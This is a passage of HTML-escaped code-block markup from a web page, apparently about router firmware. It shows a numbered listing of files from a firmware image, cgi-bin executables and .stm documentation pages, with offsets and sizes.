left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum132&quot;&gt; 132:&lt;/span&gt; www\cgi-bin\upgrade_firm_browse.exe ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum133&quot;&gt; 133:&lt;/span&gt; www\cgi-bin\upnp_eb.exe             ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum134&quot;&gt; 134:&lt;/span&gt; www\cgi-bin\wireless.exe            ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum135&quot;&gt; 135:&lt;/span&gt; www\cgi-bin\wireless1X.exe          ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum136&quot;&gt; 136:&lt;/span&gt; www\cgi-bin\wireless_country.exe    ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum137&quot;&gt; 137:&lt;/span&gt; www\cgi-bin\wireless_e.exe          ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum138&quot;&gt; 138:&lt;/span&gt; www\cgi-bin\wireless_eb.exe         ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum139&quot;&gt; 139:&lt;/span&gt; www\cgi-bin\wireless_eb_burst.exe   ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum140&quot;&gt; 140:&lt;/span&gt; www\cgi-bin\wireless_f.exe          ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum141&quot;&gt; 141:&lt;/span&gt; www\cgi-bin\wireless_info.exe       ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum142&quot;&gt; 142:&lt;/span&gt; www\cgi-bin\wireless_ssid.exe       ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum143&quot;&gt; 143:&lt;/span&gt; www\cgi-bin\wireless_wep.exe        ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum144&quot;&gt; 144:&lt;/span&gt; www\cgi-bin\wireless_wpa.exe        ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum145&quot;&gt; 145:&lt;/span&gt; www\cgi-bin\wiretype.exe            ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum146&quot;&gt; 146:&lt;/span&gt; www\cgi-bin\wsetup_wan_pptp.exe     ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum147&quot;&gt; 147:&lt;/span&gt; www\CPE\cpe.cgi                     ?1:0xac514ecd offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum148&quot;&gt; 148:&lt;/span&gt; www\doc\adsl.stm                    ?1:0xac514ecd offset: 0     size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum149&quot;&gt; 149:&lt;/span&gt; www\doc\adsl_status101.stm          ?1:0xac514ecd offset: 443   size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum150&quot;&gt; 150:&lt;/span&gt; www\doc\atmpvc.stm                  ?1:0xac514ecd offset: 886   size: 434&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum151&quot;&gt; 151:&lt;/span&gt; www\doc\clonetemp.stm               ?1:0xac514ecd offset: 1320  size: 398&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum152&quot;&gt; 152:&lt;/span&gt; www\doc\ddns_main105.stm            ?1:0xac514ecd offset: 1718  size: 438&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum153&quot;&gt; 153:&lt;/span&gt; www\doc\firewall.stm                ?1:0xac514ecd offset: 2156  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum154&quot;&gt; 154:&lt;/span&gt; www\doc\firewall_tmp.stm            ?1:0xac514ecd offset: 2602  size: 408&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum155&quot;&gt; 155:&lt;/span&gt; www\doc\fw_info.stm                 ?1:0xacb71284 offset: 3010  size: 230&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum156&quot;&gt; 156:&lt;/span&gt; www\doc\f_a81.stm                   ?1:0xac514ecd offset: 3240  size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum157&quot;&gt; 157:&lt;/span&gt; www\doc\f_add810.stm                ?1:0xac514ecd offset: 3683  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum158&quot;&gt; 158:&lt;/span&gt; www\doc\f_add811.stm                ?1:0xac514ecd offset: 4129  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum159&quot;&gt; 159:&lt;/span&gt; www\doc\f_add8111.stm               ?1:0xac514ecd offset: 4575  size: 445&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum160&quot;&gt; 160:&lt;/span&gt; www\doc\f_add812.stm                ?1:0xac514ecd offset: 5020  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum161&quot;&gt; 161:&lt;/span&gt; www\doc\f_add813.stm                ?1:0xac514ecd offset: 5466  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum162&quot;&gt; 162:&lt;/span&gt; www\doc\f_add814.stm                ?1:0xac514ecd offset: 5912  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum163&quot;&gt; 163:&lt;/span&gt; www\doc\f_add815.stm                ?1:0xac514ecd offset: 6358  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum164&quot;&gt; 164:&lt;/span&gt; www\doc\f_add816.stm                ?1:0xac514ecd offset: 6804  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum165&quot;&gt; 165:&lt;/span&gt; www\doc\f_add817.stm                ?1:0xac514ecd offset: 7250  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum166&quot;&gt; 166:&lt;/span&gt; www\doc\f_add818.stm                ?1:0xac514ecd offset: 7696  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum167&quot;&gt; 167:&lt;/span&gt; www\doc\f_add819.stm                ?1:0xac514ecd offset: 8142  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum168&quot;&gt; 168:&lt;/span&gt; www\doc\f_d86.stm                   ?1:0xac514ecd offset: 8588  size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum169&quot;&gt; 169:&lt;/span&gt; www\doc\f_mac82.stm                 ?1:0xac514ecd offset: 9031  size: 445&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum170&quot;&gt; 170:&lt;/span&gt; www\doc\f_rule84.stm                ?1:0xac514ecd offset: 9476  size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum171&quot;&gt; 171:&lt;/span&gt; www\doc\f_rule841.stm               ?1:0xac514ecd offset: 9922  size: 448&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum172&quot;&gt; 172:&lt;/span&gt; www\doc\f_rule8410.stm              ?1:0xac514ecd offset: 10370 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum173&quot;&gt; 173:&lt;/span&gt; www\doc\f_rule8411.stm              ?1:0xac514ecd offset: 10819 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum174&quot;&gt; 174:&lt;/span&gt; www\doc\f_rule8412.stm              ?1:0xac514ecd offset: 11268 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum175&quot;&gt; 175:&lt;/span&gt; www\doc\f_rule8413.stm              ?1:0xac514ecd offset: 11717 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum176&quot;&gt; 176:&lt;/span&gt; www\doc\f_rule8414.stm              ?1:0xac514ecd offset: 12166 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum177&quot;&gt; 177:&lt;/span&gt; www\doc\f_rule8415.stm              ?1:0xac514ecd offset: 12615 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum178&quot;&gt; 178:&lt;/span&gt; www\doc\f_rule8416.stm              ?1:0xac514ecd offset: 13064 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum179&quot;&gt; 179:&lt;/span&gt; www\doc\f_rule8417.stm              ?1:0xac514ecd offset: 13513 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum180&quot;&gt; 180:&lt;/span&gt; www\doc\f_rule8418.stm              ?1:0xac514ecd offset: 13962 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum181&quot;&gt; 181:&lt;/span&gt; www\doc\f_rule8419.stm              ?1:0xac514ecd offset: 14411 size: 449&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum182&quot;&gt; 182:&lt;/span&gt; www\doc\f_spi_h85.stm               ?1:0xac514ecd offset: 14860 size: 447&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; 